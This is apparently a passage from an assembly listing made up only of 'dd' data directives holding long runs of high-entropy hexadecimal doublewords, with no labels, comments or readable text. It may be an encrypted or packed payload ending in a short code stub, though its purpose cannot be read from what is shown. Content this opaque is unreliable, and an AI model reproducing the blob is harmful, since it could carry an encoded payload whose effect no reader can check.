dd 395FC388h, 0DC90F134h, 9B8D3DDBh, 3C30251Ch, 6E0A0519h dd 0F491EE29h, 8CC0B4A8h, 0A0651B8Ah, 0BA20543Dh, 724B2BDh dd 88E82038h, 0EBB0A499h, 0CCC46037h, 0E31004FAh, 0C761CBDh dd 0BCF53D58h, 0B84382FCh, 0B6044FE8h, 5B51A6E8h, 0F0A5DB4Eh dd 3560147Dh, 4CE544FDh, 0F0554BFEh, 71F0A4EDh, 7B72505Fh dd 0D1080052h, 8C8170FFh, 7C830F98h, 1FB9C4A2h, 4C405453h dd 1C106478h, 18E59B0Ah, 2DA0D4BDh, 0DCD2CC7Ch, 28740BE8h dd 24A5DB10h, 3F60147Eh, 0AA881187h, 0E9DB4E8h, 0C270E4DCh dd 6A216102h, 49D4C9B3h, 95637428h, 0ACB03115h, 3DE3D488h dd 98C2FBAEh, 53C83BE8h, 73706459h, 0ACA1840Ch, 0E6EE44B8h dd 8C46E49Dh, 0B83F2426h, 6C605549h, 0E9B0BAF8h, 0F241F259h dd 0BBBEAD88h, 0E3AB567Dh, 135102FEh, 0E6D1BA43h, 0EFE6F598h dd 0DAF04137h, 274904B8h, 93C53BE9h, 0F1706458h, 0ECBD360Dh dd 0B4D0AEB8h, 0C00F4E4h, 0A9CF7748h, 6C206258h, 9C908845h dd 7345BBA8h, 15F0E4D8h, 2C2014B9h, 0E007AB9h, 98F2221h dd 0BCB0A43Dh, 40E8124Bh, 981F09C4h, 4C4034B1h, 8F054464h dd 0A39AA824h, 0DCD0483Dh, 2C0D59E8h, 1100438h, 18053369h dd 0A03CFB0Dh, 4DBCC188h, 94D01BA6h, 5D55607Ch, 2C533AB9h dd 0F9AF5B52h, 43F762F0h, 56D1DBC8h, 1C1023E8h, 0B312D6DFh dd 3C45D8CDh, 0FC60A788h, 348094E8h, 0C00F4E1h, 52474B5Ch dd 8013B24h, 0BC057B78h, 49C0F49Eh, 0CFC69018h, 66A59DC1h dd 0D50040Eh, 8C827400h, 0EAE1F518h, 0C8752B98h, 911044CEh dd 0C5B37BDh, 0B5433458h, 0FEF0C5DCh, 492F95E9h, 0C40C184h dd 0C314209Fh, 2C5568DDh, 1C537C78h, 8CD5C325h, 3F09E5D8h dd 78665B5Bh, 1902056Fh, 0EFE93934h, 0D3C3CBEAh, 0BBBCA0AEh dd 73746A91h, 0F1C475Fh, 1902162Dh, 0C9F6E0E6h, 0B3B9B7CAh dd 7445A886h, 4E5F4868h, 3860262Dh, 0F9F7F619h, 0BFAFFCDCh dd 0FCF2E4ACh, 0A86FE4F7h, 2E205CEBh, 0E1E90C07h, 0DFC2CDB6h dd 8D8CB5AFh, 6C3E7D80h, 50E3444h, 1A502F1Bh, 0D5C9E3FCh dd 0D6A0B4DDh, 5E45A7BDh, 0E004738h, 5D506178h, 0B2B0AA58h dd 86ED8E88h, 0DCBEAD97h, 5E49622Eh, 95A314Ch, 8C807480h dd 5131F998h, 0ECA0C97Ch, 967813Eh, 0B3403468h, 3C45F0CDh dd 0B3485588h, 0C2BAF8CCh, 39504163h, 90692458h, 46157A74h dd 63AE051Eh, 41E3C1B5h, 0BCC6A465h, 2E569F08h, 0F936E16Fh dd 0BFEAF1E5h, 393FA4D8h, 0ECA0E758h, 0E6568D02h, 0B7BE7AA4h dd 0B39265E9h, 292DD763h, 0DC90D109h, 66009EB8h, 98A5DB16h dd 0EF60147Dh, 9898A004h, 0C8289FDDh, 0AFF0E4D8h, 0D320574Eh dd 1C65CCADh, 70C89C68h, 0BB585B67h, 0BFE0D4C8h, 534F47BEh dd 0D9BF347Bh, 7C3051D0h, 535CA560h, 2F862C47h, 81FF0B17h dd 3C70371Bh, 6C605FA0h, 0D9C3D178h, 0E2F287FAh, 0FCBCA89Ch dd 19BC81F7h, 56B84478h, 0FB807468h, 0D5C2D4EBh, 0AD86A0A6h dd 89EF54F8h, 4C000160h, 4924E1D1h, 9DAF94C8h, 0C4304935h dd 8989F4A8h, 3C70125Eh, 0F0F5AB19h, 0F90C44Dh, 0CCC0B0C0h dd 114569D8h, 75205410h, 6A7CF9B5h, 5A687428h, 0DA4F5B6Eh dd 0F187510Fh, 0ECEF04B8h, 512991ABh, 0F1706418h, 0ECBDB31Dh dd 0B68494B8h, 5E009EE9h, 3C302670h, 5CF5ABC8h, 1990C44Eh dd 0EEB5EE68h, 0E1AA6955h, 46721448h, 3BE5C93Eh, 0D8803475h dd 0EDE0F4CEh, 0D8752B9Ah, 441044CEh, 7A6CA1D7h, 0F9B66418h dd 0ACE0ACC5h, 0DCDC2CB8h, 5F57F4E8h, 0F7B6757h, 20247A7Ah dd 96F8434h, 0CC808134h, 0FCF78C4Bh, 99AD1408h, 5C105C7Ch dd 703DF931h, 54B0E4ADh, 131F2299h, 1C100810h, 2096328h dd 28352A11h, 0E0ECD0A6h, 40453BB8h, 8900B4DDh, 0DBB42BD8h dd 0FF605449h, 9C908110h, 4E7539A8h, 0A5F0A4C0h, 1A38A985h dd 46B84478h, 0F7F8B9Eh, 0FC86B825h, 68EFD4C8h, 1C10053Ah dd 4DD0D8A9h, 14246458h, 0ACA09589h, 0E92C5147h, 0C881F4A8h dd 3C302588h, 6B4DF18h, 96FD678h, 0CC8082B4h, 89A9245Dh dd 3FA87C05h, 0C9AF4438h, 8CC041D4h, 1334673h, 0ECA0C9A1h dd 913971F8h, 0C5D59ADh, 0E98F3458h, 0ACE0A280h, 58DF043Dh dd 0C00F5D3h, 0B73C6493h, 0E350AB48h, 0DC8DEDFDh, 814572A8h dd 0FDF0A4E0h, 2D4A1462h, 0C9AF4652h, 8CC0427Ch, 0B34F5C1Bh dd 0ECE1C64Ch, 899D97F8h dd 4C00294Dh, 2F227432h, 9AA40177h, 1C55C4F8h, 0CF271E7h dd 81BD2418h, 6C2049CEh, 20788CC9h, 0A43F4B52h, 0FCF0E44Ch dd 0A5C63F56h, 0A304600Ch, 0CCB5ECFDh, 280D2998h, 5DE094D5h dd 0E68DECF9h, 8CBCBD7h, 9CB1747Ch, 88E49F80h, 0D43005BCh dd 424B0E3h, 3C35CC48h, 42455448h, 0CB90FC4Eh, 0F9942157h dd 3873E498h, 2A67D204h, 0DDC5C918h, 0E6803475h, 0BC91CC98h dd 0BFB2D4C8h, 2A009107h, 30CD3468h, 8327707Ch, 0EC95CC1Dh dd 0E4D402B8h, 0C6AB4E2h, 0C3637348h, 2C5644DDh, 11768778h dd 8CDD1615h, 94F08ED8h, 2C201404h, 0C9AF176Fh, 8CC04278h dd 0BCB0A8A5h, 61ADA1C8h, 5C264A4Dh, 1CDB928h, 57702460h dd 0FDA0FE46h, 492F97EEh, 0C40C2E4h, 4230DC9Bh, 92EBC567h dd 0AADE31F5h, 0C170B4E8h, 0EC854A2Ah, 0D6D8FC68h, 2E31BBC7h dd 189977Fh, 565BA5EFh, 22CB1B43h, 2A5EB975h, 0E8B33468h dd 0C59B93DFh, 0AC356BDBh, 5CD0848Eh, 4C158355h, 16442518h dd 6C156420h, 20057B78h, 4CC0F49Dh, 0BCC8A965h, 3D541408h dd 4139C1FFh, 8C807428h, 3976A498h, 0ECA0EC85h, 0E246EDF8h dd 0C987CBD7h, 7C3071D8h, 2CA09488h, 0DCD406E5h, 2C4FFEE5h dd 525F4B76h, 4C063B68h, 0F9F6ED14h, 0EC8F9489h, 999D8DACh dd 0C4F6028h, 393C215Bh, 0F8E1060Ah, 0B6BD85FDh, 0CCC0F4E8h dd 6F304BD8h, 292D595Dh, 1D17442Ah, 0C2C5F0FAh, 8EDAC999h dd 6265988Dh, 4F55486Ch, 4C19383Bh, 0ECE0E510h, 0A2A194D1h dd 8495C4BCh, 58437178h, 70242A59h, 0EDF40748h, 0D2D9C0F6h dd 0C1C0EEAFh, 7D470EF5h, 2528575Ch, 1D500336h, 0C880F8E4h dd 0BDF0BDD9h, 62209086h, 48584371h, 3067464h, 0EEF6A40Ah dd 0A8AED1C1h, 0DCB9C4ABh, 5849757Fh, 0B5A4902h, 0E9F21100h dd 0D9C2C5B8h, 998FADE8h, 6E7624D4h, 282E5141h, 3F505B2Bh dd 8DC5F9E7h, 0FCA48D98h, 78208781h, 1D554971h, 4B141D68h dd 0FDFCA40Bh, 0C1E1D1DCh, 3B74E0D2h, 8A340738h, 8829A928h dd 0BBD23C27h, 0D4A41D8h, 0E79A60EFh, 0BA042DFDh, 0E7196338h dd 0E5DD2362h, 0C259FEEAh, 0B01C98D8h, 0F6DAD72Ah, 9359FBBDh dd 1FA12A1Bh, 2423D662h, 0CCC0B470h, 0FCF0E4D8h, 2C201408h dd 5C504438h, 8C807468h, 0BCB0A498h, 0ECE0D4C8h, 1C1004F8h dd 4C403428h, 7C706458h, 0ACA09488h, 0DCD0C4B8h, 0C00F4E8h dd 3C302418h, 6C605448h, 9C908478h, 0CCC0B4A8h, 597384D8h dd 2C602DAEh, 0F6F5C738h, 8C803451h, 0A8F31397h, 0E3F88745h dd 1F164F4Fh, 6804BFF8h, 70324F7Ch, 0EE9B8DFAh, 57C4B7B0h dd 4E2BE0AAh, 9AA5AD14h, 0E5601471h, 0DCA92EFDh, 4FC55FA8h dd 2512CC1Ah, 2C24D669h, 7EA7C1B0h, 0E8687428h, 0D4B0A498h dd 0ECE0D4E8h, 3E348175h, 75193468h, 0FF7C1040h, 5B429048h dd 0E55E4147h, 0FBC3F4A8h, 0CBBD27C1h, 8F60146Ah, 60E07B68h dd 2443B427h, 750606DCh, 6C023095h, 5C6AC738h, 0BEAB711Ch dd 31A0D69Bh, 0B7B82886h, 1C2A87A6h, 7EBF305Ch, 0E8F67B3h dd 53F77C98h, 12FB3B47h, 35AA79C3h, 3F682458h, 0E3A36003h dd 0DCA916FDh, 424573A8h, 0FCF0A4E1h, 0C4201408h, 5C504404h dd 0B50EF1E3h, 0C958A4D8h, 41F2B3Fh, 1C1004E0h, 75CE89ABh dd 9706418h, 0C3D1D80h, 37D0849Ah, 828D0B74h, 0FF306421h dd 55F2D1C7h, 9198438h, 0CC808D26h, 0FCF0E730h, 0EFE92708h dd 5CD0D7B3h, 64D27468h, 434F5A75h, 0D54A41CBh, 0CA1304B8h dd 4C4C4EABh, 7D77E057h, 0D6239488h, 58DFC4A8h, 0C00F415h dd 6C3C6693h, 939E9CA0h, 36158787h, 0CFC0F491h, 0F47AB41Eh dd 5820ED88h, 72A9C421h, 67C0771Ch, 0BDF82F69h, 333F3549h dd 0E591DB27h, 4C0C786Ch, 5729882Dh, 56591740h, 0DC674BB7h dd 8D66F4E8h, 0E03DA60h, 6CCBD147h, 1FC68478h, 0C9B5B492h dd 17E0AE53h, 2F2A9F0Ah, 2EB815C9h, 8F7F8B96h, 0FC890E2Dh dd 2C6579C8h, 981FFF80h, 4C4034ACh, 45DAD1A7h, 44F094C8h dd 232F3AEDh, 35AA71EBh, 0B9BF2458h, 6C206DE2h, 0CFB4807Bh dd 0FFC2742Bh, 0F446EB03h, 0E5A006EBh, 78911718h, 90A9704Ch dd 98BC8DBCh, 50B9493h, 0CB1FFF79h, 7234E993h, 39D89FD9h dd 9AD44FE6h, 0E7893F39h, 22740B49h, 1EE6DF99h, 4A14F8FDh dd 75037FF9h, 0D2B447F0h, 158D1F59h, 3A54E750h, 6316BFB9h dd 82F4954Dh, 83805F19h, 0EA9435EDh, 25829107h, 0A51B3468h dd 838F9B29h, 0B86217D6h, 232E2B51h, 66003717h, 29D87C1Ch dd 0E49FABBEh, 0DCB455EDh, 0FD78D2A8h, 3C12E6C0h, 0CE2217ECh dd 5A3AEF5Eh, 797A9C30h, 7E335B67h, 863153C0h, 0F1F85CFDh dd 0CCBFCBDDh, 770367A2h, 29A2C438h, 0DC90E069h, 66271F42h dd 0BC9A7C70h, 741557B2h, 517895C8h, 743F4B5Dh, 0FCF0E4D9h dd 2154C68Ch, 96AEA4E9h, 896B8283h, 0BCB0A420h, 53027F48h dd 20AD893Bh, 0BB40741Ch, 3C4455DDh, 0ACA09488h, 6CD3B038h dd 89F75E88h, 3C701029h, 6D60544Bh, 9C660077h, 9978B4A8h dd 57180853h, 0BA9D9DA3h, 0EC500401h, 7B2BDE80h, 0FC84951Dh dd 0ECE0D4C8h, 86AD8DF9h, 38407411h, 4DF59313h, 0ACA0D4BCh dd 64D2C4B8h, 3AFF908Fh, 5B88216Dh, 0C74EDF2Ch, 9C903C1Eh dd 0CFB41FCEh, 0B5AB968h, 6C14258Dh, 5C504438h, 0E10DCC60h dd 0AAC5A490h, 0D8D1513Fh, 1C1004B8h, 0CFF83028h, 8706C9Dh dd 41232C8Dh, 937BC440h, 3831711Fh, 3C332458h, 68145448h dd 373A6DC8h, 0F5563123h, 337BE498h, 64A9DC23h, 6DD5B3C4h dd 8F80345Ch, 0C8B0A498h, 88876C97h, 0A1993207h, 4C000DB6h dd 7C70DCF3h, 140BF0EFh, 0DCD0E231h, 0F2BD1C43h, 1C80DBE7h dd 939C9BA0h, 0FAA96787h, 0AAD54B10h, 775B7573h, 6C14259Dh dd 0AB82B338h, 8C8077AAh, 54A4D198h, 131F2A5Fh, 0B5F81B48h dd 2ABFCBD4h, 1A659BE0h, 270B0523h, 42554F77h, 2700B4D1h dd 0C078ADD0h, 5851D1BFh, 9C948438h, 0DEB4B4A8h, 230CD60h dd 2498BFC0h, 0F75430F8h, 677801D0h, 39470FFFh, 0ECA0E0F9h dd 1C1004F0h, 0F1C07E5Dh, 7C305077h, 14E1E088h, 15F9DC91h dd 382B51E2h, 0D8F02458h, 47C55E4Bh, 3790C44Ch, 466A0518h dd 0BCC4CB5Dh, 6C90BE08h, 687BC132h, 0EA2A7428h, 4B4D4620h dd 0ACD4E54Dh, 1C1014F8h, 0FC474028h, 0C416CE11h, 7C668FDh dd 0EF7A2C08h, 0B1895F28h, 3C701D9Ah, 5851D1BFh, 9CB08438h dd 0C5B5B4A8h, 79FABC68h, 2C602021h, 0DDE82292h, 0BD0583A8h dd 0FCB0E4ACh, 98E0D4C8h, 34D484FBh, 78699122h, 0D7166418h dd 95262901h, 2B7BC4F8h, 4C34C56Dh, 3C302418h, 0DC692108h dd 0B5158628h, 66C0F49Ch, 0C8C1612Fh, 2CA01448h, 57254438h dd 98ACCD8h, 0BCF090B2h, 8ADD3F62h, 0EB083540h, 0C7405ADh dd 7C716458h, 1CA2E088h, 0F675CE91h, 0CC00B4DCh, 993A27FCh dd 6C206062h, 24F62F1Eh, 49374429h, 0FCB0D0E9h, 2C201608h dd 94E4464Dh, 0B8AAD162h, 17D6A4D8h, 0D5426941h, 20A804B8h dd 0E740340Ch, 4841E1AFh, 0ACA894C8h, 0B0A4C4B8h, 3831711Fh dd 38302458h, 67155448h, 199A3CC8h, 0CC808083h, 0BBD0F72h dd 6C14258Dh, 5C584438h, 0EA910168h, 0B6502720h, 0ACD4FF6Dh dd 2FBB62F8h, 59AB9EE8h, 6459DC3Eh, 988B3182h, 3810C4F8h dd 27A5FEEBh, 5A30642Ch, 5DE5A3E3h, 9C90C44Ch, 0AAC0B4B8h dd 88306560h, 24E4940Bh, 687BE132h, 27E67428h, 93351297h dd 47E094FCh, 2821810Fh dd 4C403468h, 75042458h, 29A2C438h, 0DC90F091h, 3D850342h dd 3C30642Ch, 0DC605468h, 9892F1FEh, 328F39ACh, 0C8D94152h dd 0A1A91448h, 5C107DB2h, 7000DF0Eh, 0CB7D19Dh, 13AF54C8h dd 99E7AEB8h, 4C000019h, 7C702458h, 9DC62CEEh, 0F564C6CDh dd 14B05F8Eh, 81BA112h, 8CA05408h, 14202E7Bh, 0F8F1315Fh dd 7CF0E498h, 2E551408h, 0F9DAC288h, 8CC04041h, 40300FFEh dd 5CE7A1CDh, 0E35F84F8h, 0C9B79E68h, 7C305069h, 0ACA19488h dd 9C60CFCDh, 382971E2h, 0D79A2458h, 0EFD83247h, 0B5358EB8h dd 0AAC0F49Ch, 56F15473h, 181191FFh, 5C504478h, 0A3F5746Ah dd 8881216Fh, 0ECE0D488h, 66504FCh, 0C94AF498h, 7C305073h dd 98903102h, 3C11C4F8h, 6AB892F8h, 3C808F99h, 2CD05CA3h dd 0A8BB0172h, 3B6AB4E8h, 0BCC4D55Dh, 24201408h, 3A403138h dd 8668F7D0h, 0FC848E3Dh, 5C4BB2C8h, 0AC18EFF9h, 66C53E60h dd 0D670246Ch, 9891117Fh, 0DCD0C4F8h, 79B1F4F8h, 8456016Dh dd 0C96AACCBh, 9CD0B052h, 0CF31FCEh, 764DCD72h, 0DB205431h dd 1C6475BDh, 0AC807468h, 0DAFD198h, 8AFB3FBFh, 16080D40h dd 0C741E8Dh, 7F94A458h, 988A3182h, 77B6C4F8h, 358A49C1h dd 0FDBA2458h, 55EAF1C2h, 37F68438h, 49C2EC18h, 0FCB0D0F1h dd 1DA5E3A2h, 5F50040Ch, 83817468h, 0BCB0231Ch, 88876CC8h dd 919B2273h, 4C000019h, 7C7095D9h, 6D579688h, 0DFD0C4B8h dd 6BB8F19Dh, 971EA37Ch, 6C6054F0h, 0E93BE278h, 4778D2AEh dd 445B823Dh, 2AAF736Ch, 3A907793h, 0BD0583C3h, 0BCB0E4ACh dd 99E1D4C8h, 2D95F3B8h, 4C40741Ch, 8786458h, 2118F2AEh dd 0ED5533D4h, 0C00B4DCh, 33322418h, 8D6A95DDh, 55142F1Eh dd 74A6BCDDh, 5796E0FCh, 249007E3h, 3A5EAF92h, 8EDD2CD0h dd 0FC848F1Dh, 74BB2C8h, 0B6D9B4FBh, 7871B1DFh, 7C706418h dd 8CD41488h, 59FAC308h, 0C40C0C1h, 312AC4D9h, 6C445CC1h dd 0A8B9217Ah, 2800B4E8h, 0F83464DBh, 8641A4A3h, 0BCAFFC5Eh dd 0B8A9D162h, 17D6A4D8h, 0D8D1513Fh, 1C3004B8h, 1F343428h dd 4841E1AFh, 0ACA094C8h, 0D1A4E4B8h, 0C03331Fh, 39442418h dd 87CAC4F8h, 17570F8Bh, 8CF93625h, 7531CFD8h, 7490E849h dd 6879C132h, 7B2A7428h, 0FC84951Dh, 0ACE0D4C8h, 7A1C70F8h dd 46836490h, 3C444DDDh, 0CAAA7F88h, 0D6303B00h, 4C34DD4Dh dd 0CB9B4218h, 2C5465CDh, 9C908778h, 3BB3C0A9h, 0BCC4D55Dh dd 2C201408h, 0AB5D3018h, 8C8077AFh, 0CB5D098h, 1F0B7E58h dd 999BCB73h, 4C000DB2h, 34F9AC73h, 5B69A774h, 9CE4F53Dh dd 8C00F4E8h, 0B13E5118h, 2C547DCDh, 0DC980E78h, 0BFC34D28h dd 31F46920h, 2C30304Ch, 0EC58A4F9h, 8A63DFE3h, 7C811CFEh dd 54867FAEh, 0A4788477h, 4E403428h, 24DB02B9h, 0D9691123h dd 0ED68A2BEh, 0BCAB9228h, 0B9BD8EDBh, 6C206074h, 0A8A1018Fh dd 0CCC0B4E8h, 0FA85F4D8h, 74D83F5Fh, 0FDB5DD3h, 0A7785F40h dd 1E3D2F48h, 0EDE094F1h, 5C29866Dh, 0C7793528h, 0F574401Ch dd 0ECB0F935h, 5A6D4FB8h, 2700B4D1h, 7C09A69Dh, 5DE5A348h dd 0DC90C44Ch, 0B8C0B4A8h, 572813DAh, 7A2010CAh, 0F2EDC76Fh dd 8C803451h, 0BD692097h, 0E108D4C8h, 571004F8h, 90E666Dh dd 52425714h, 0ACECD8CCh, 0E9585147h, 8989F4A8h, 3C701DA6h dd 5038DF1Bh, 0EF6F5C7Bh, 0F8833F80h, 3061830h, 8AB59FF7h dd 7500401h, 58C366Bh, 0FC89661Dh, 0E4A2D7C8h, 25D68171h dd 3FCB3468h, 0FCC39B70h, 44A09488h, 232F326Dh, 35A64963h dd 0D4662458h, 939FA281h, 0A53611F3h, 864BB4E8h, 0F0BAE7D0h dd 0C5A3DA23h, 3CD84B3Dh, 83807469h, 0BCB1FE1Ch, 4655D7C8h dd 1F1044C1h, 0C79469Dh, 944CC858h, 0AC021187h, 9A5DC4B8h dd 7E85DFECh, 3F306421h, 0EA88044Eh, 1F6F7B8Eh, 8CF91215h dd 0F785E4D8h, 232C5333h, 5C515FBBh, 0B58C9F68h, 0FC89020Dh dd 0E165DBC8h, 1F1004F9h, 0C7946ADh, 44F10258h, 29AFB177h dd 0DCD0C444h, 2702B463h, 0D460105Bh, 939FA201h, 0A5363941h dd 49CFB4E8h, 0FCF0E43Ch, 158A910Bh, 0D9534478h, 8CC04D1Ah dd 0FB9BA413h, 2162DBC4h, 271004F8h, 0CF4F3C6Fh, 7C70649Ch dd 0AFA2540Bh, 59D3D0FFh, 0C40CD9Ah, 89CF744Ah, 6C206DF6h dd 0A9D81187h, 499AB4E8h, 4B75EB18h, 0C5201408h, 5C5044A4h dd 98F8B54h, 0BCB0A40Ch, 0E3F5EA48h, 1C108F7Dh, 4D06BF28h dd 2C442773h, 53554C60h, 7A6DFD47h, 7900B4D1h, 96B5276Fh dd 6F601471h, 0DCA9F6FDh, 6453DA8h, 77F0A4E1h, 0EEA52F08h dd 2E500401h, 4A054F60h, 0CEB0E4A1h, 0ECE0E9A1h, 2B6274F8h dd 4C402BC0h, 803EE958h, 0AE8B5503h, 0E7C086BBh, 4C393E6Dh dd 0BF3C5118h, 5D9F448Ch, 80B4C0F7h, 0FDB5FC9h, 0C5626157h dd 0A7401448h, 1C69368Dh, 7AF69C68h, 15D15B67h, 6CE0D4C8h dd 5B3B0A8Dh, 77494624h, 0FE7F6C1Fh, 535F6BB4h, 6E55CBF1h dd 87FF0B16h, 9BB10024h, 6C607079h, 0E36F7B87h, 86418843h dd 0FCF084FCh, 0EC135AE8h, 0DB7448B3h, 0CCB9DAEDh, 89092998h dd 0EFE0D4ECh, 5C29767Dh, 0E9E55228h, 7FB64F16h, 0EE8B80CAh dd 279602B4h, 5E813300h, 39302418h, 0E5605448h, 0C2CF783Eh dd 8275396Bh, 0AAF0A4E0h, 195C81F7h, 0A4D34478h, 37047B97h dd 35B0A498h, 0ACD9864Dh, 4A106EF8h, 79F4A1D7h, 0BCF56418h dd 0AC041087h, 1CFBC4B8h, 0F6AA4B8h, 54314E48h, 0AC605448h dd 0C0057B2Eh, 4FC0F49Dh, 78FF1B20h, 2C201136h, 6506C1B1h dd 10D7428h, 0BCF09DC2h, 0D5824145h, 4E4104B8h, 0B3103442h dd 3C45E0CDh, 53581788h, 0D9DC40B7h, 0C6AF4E8h, 56691E7h dd 0F99F5408h, 9CD0B1F8h, 0C33F4C2Bh, 0FCF4115Ch, 46A59D08h dd 6F500401h, 0DD4377A1h, 0B8DAF5C8h, 0BA552B99h, 0E31044C1h dd 0C7554BDh, 73B0E158h, 0ACA4450Ch, 5519F7B8h, 4C399A6Dh dd 6D617518h, 63604B20h, 96FD478h, 0CC808108h, 78FF245Dh dd 2C201082h, 6522C1B1h, 34437428h, 0BCB0CD55h, 1BD89F43h dd 5C24357Dh, 4C403428h, 7F761148h, 0ECB0F90Dh, 0DF02F7B8h dd 0FBF10329h, 46B5ADF9h, 0D4601471h, 9C90A043h, 0CFFCFF23h dd 0BCE0895Dh, 2FF22708h, 0ABA1B3F9h, 0FA05FD89h, 7FB0E4A1h dd 0EAAB63C7h, 9125E701h, 0FB4F2C7Bh, 0AC73701Bh, 8461FFC1h dd 0E65114BBh, 626983B7h, 0BF2D50E1h, 1E615832h, 0A0DB0F98h dd 0CFD4F623h, 0B87DF49Ah, 0F5D7EB40h, 0D96B851Bh, 8CC04D02h dd 98E42F5Bh, 6320E7D8h, 1C10BC7Ah, 83CBF728h, 0C1FD6FB3h dd 0ACE0ACC6h, 0EF0F4F44h, 6D3C5821h, 460C226Ah, 4C4C563Fh dd 0E8CCB8D2h, 0B8EE8844h, 89F0D805h, 0A7E9F7E0h, 4157939h dd 87F4742Dh, 0EEF3F7A5h, 0DF65DBC8h, 97EFFB07h, 517092Bh dd 0F87F2716h, 535F6BAEh, 89939385h, 1784FBA6h, 1CFDBE7h dd 5E53171Fh, 63800077h, 9CFD4B57h, 0F3BFB08Bh, 0D3DF118Ch dd 0B48B77C7h, 737F8A45h, 42482097h, 3ED32B37h, 1C101210h dd 0B32FDC28h, 7C989BA7h, 0F1A09488h, 0F35A2939h, 31E9F4A8h dd 5830241Bh, 0D9EB66B7h, 9CD0BD0Ah, 0AAE23DCCh, 0A6BDDA59h dd 2F069107h, 2DB4438h, 0EA5E7754h, 0F9E09F19h, 0EFF651C7h dd 5FE704F8h, 4C60343Eh, 75F56B58h, 5AA0948Bh, 57D298FBh dd 880FD4A6h, 3C3026E4h, 95E158ABh, 9C908579h, 0CE2E32A7h dd 3118E4D8h, 23DFEBF6h, 5C52A7BAh, 9CCAFF68h, 4BCEE9Bh dd 0ECE1D4C8h, 0F6FEECA9h dd 0D970CBD7h, 7C305077h, 1990B439h, 0DC90F088h, 0C5FED482h dd 0D4245C40h, 939FBE9Ch, 89F56FDh, 0FD22676Ah, 0BCC4D54Dh dd 44C5FF08h, 5C50443Eh, 8C861C31h, 54E8A498h, 131F3E7Ch dd 28398172h, 0C8C63468h, 3C444D72h, 85251C88h, 3ED0848Ch dd 3D850308h, 3430642Ch, 19605448h, 0B72D0471h, 0CDC0F49Ch dd 790721ACh, 2C602039h, 5D50443Bh, 31006F1Ch, 0BCF090B1h dd 6C50A0CDh, 5C242E45h, 0EB343128h, 485BD9D8h, 0D8A594C8h dd 0ED553326h, 0C00B4DCh, 48B02418h, 45DDD441h, 9E90C44Ch dd 69433DDFh, 0FCB0DD76h, 0D8AFFC08h, 9CB8BBC7h, 647F8B95h dd 0BCB0A6BDh, 0D5964943h, 0C2F804B8h, 43BFCBD4h, 7C726FDCh dd 0DE151F88h, 57D08481h, 0D203C8B6h, 0C3CDFBF0h, 99E25BB7h dd 1D908479h, 0CCA090E2h, 27B04D8h, 5623425Ah, 4C2A472Ch dd 0B8B1F19Fh, 0BCB0A4D8h, 0E295C4C8h, 282CB175h, 0C1CB3468h dd 7C307435h, 15F7307Bh, 0DCD0CDB7h, 1C004165h, 99C32458h dd 6E8354F9h, 1967208Bh, 0CC808099h, 0ECF0E4D8h, 2C889007h dd 2FAF4438h, 7DEF9C40h, 293B5B67h, 0ECA0ED6Eh, 981FD67Dh dd 4C4034BAh, 4502D1D3h, 0E62B94C8h, 0F89A45A8h, 0EC00F488h dd 4F386E33h, 6FA9674Ah, 11AB900Ah, 0CC80A4C5h, 0EC9D6953h dd 7A521448h, 0DF7478B3h, 0CC9019CDh, 1B33A498h, 0ECE0D4A5h dd 146A8FF8h, 4F487E29h, 0F787E3AFh, 0EC99120Dh, 0ED5533B8h dd 4C00B4DCh, 48302418h, 6F78A34Ah, 0ACB9880Ah, 0F56E0121h dd 8F7BE498h, 0DB101520h, 1C6475BDh, 8C803468h, 4BB2D098h dd 580885D0h, 45EFFB04h, 3F4338C3h, 70024F70h, 853C2D9h dd 695D9DE7h, 0C40C0D4h, 626F80EBh, 0E1F26547h, 9C9156FFh dd 0E3558EA8h, 89F0A4ECh, 54F27D0Eh, 0D442706Eh, 40688B38h dd 0E64F5B47h, 0EFEC9E43h, 99E714B2h, 4C000019h, 6C706458h dd 0D9A6D505h, 725D4DABh, 0F00B4D1h, 7C20499Dh, 1C7D748h dd 9C908478h, 33E8F783h, 0BCC99A6Dh, 7EA79D08h, 0D3504438h dd 977542Eh, 0BCF090A9h, 6CE0D4C8h, 0F442038Ch, 0B3BFCD0Fh dd 0D2FDEF02h, 4FA0D4B1h, 0F49B4DBBh, 8710BE63h, 7C09529Dh dd 642A6D48h, 0D619870Bh, 0DC82B5A0h, 0FCA8875Bh, 155A9183h dd 60384478h, 8D80744Ch, 0BDE9ACDAh, 796A848Bh, 1C5030D7h dd 7871B1DFh, 7C706418h, 0AAD48488h, 0CCBD49BBh, 0CB6F4A8h dd 801A1EFh, 6C605408h, 88E5847Ah, 49377256h, 0FCB0D0E9h dd 2C241408h, 0E9DA424Dh, 8CC04058h, 8881216Fh, 0ACE0D488h dd 176504F8h, 8E4233A2h, 9EA666F2h, 26A97F7Fh, 7612F6BFh dd 0FBE222EAh, 0B754F62Bh, 6EEF306Ah, 0CA2D0720h, 0CCC0F491h dd 77860D7h, 99DFEBF7h, 5C107D4Ah, 0B944E197h, 94FA4D8h dd 0ECA0EDA6h, 292C9107h, 0C1CD3468h, 7C305D02h, 95C20105h dd 8E81C4F8h, 0B9FFF482h, 3C701D4Eh, 59D8C1B7h, 296F8438h dd 0CC808DFEh, 0C9CC7127h, 99AD1448h, 5C107C76h, 0B5D2C197h dd 43E6A4D8h, 0ACD5605Dh, 4AB587F8h, 4C407411h, 7C708C9Bh dd 0C6FD9488h, 953D45B9h, 5400B4DBh, 0B9F12BE8h, 6C2041C8h dd 1F5344FDh, 0C3304B60h, 0E9706119h, 11E31448h, 5C7A4428h dd 0DE6681Dh, 0D0BC80E4h, 8CF3A1B9h, 0E3EFC010h, 0A44541D7h dd 838F9F26h, 535F4660h, 23FEA547h, 38568CC5h, 3C159C0Ah dd 84005448h, 636F7BDDh, 884B8DDDh, 497DD4FCh, 2C602C46h dd 3A5814B3h, 8E864EE9h, 0D4E681EBh, 0EC1FD4C8h, 1C7AC073h dd 0D9BF647Ah, 7C3051A0h, 2DA8500Bh, 0E3EF9886h, 8F0381B4h dd 17D820DEh, 849FABB3h, 636F7B07h, 0B87877C9h, 17F0E4D8h dd 2C0FACB9h, 4CB84438h, 4E807468h, 8C08A4B8h, 4E0D4C8h dd 1C1004FBh, 0C14010EAh, 0B17C400Ch, 0AC5817A6h, 34B0DDC4h dd 0C00F4E8h, 0C147093h, 0ED7ADF15h, 0DCA49795h, 29F95CA8h dd 3E911B27h, 2E21140Ch, 5B56413Bh, 0A4C561CAh, 15FF7EDEh dd 1001194h, 27E89090h, 53000000h, 0CBFB9h, 66DA8B00h dd 148D1031h, 8DD68613h, 0F3E20240h, 0C35DC35Bh, 310FF151h dd 1000B8C3h, 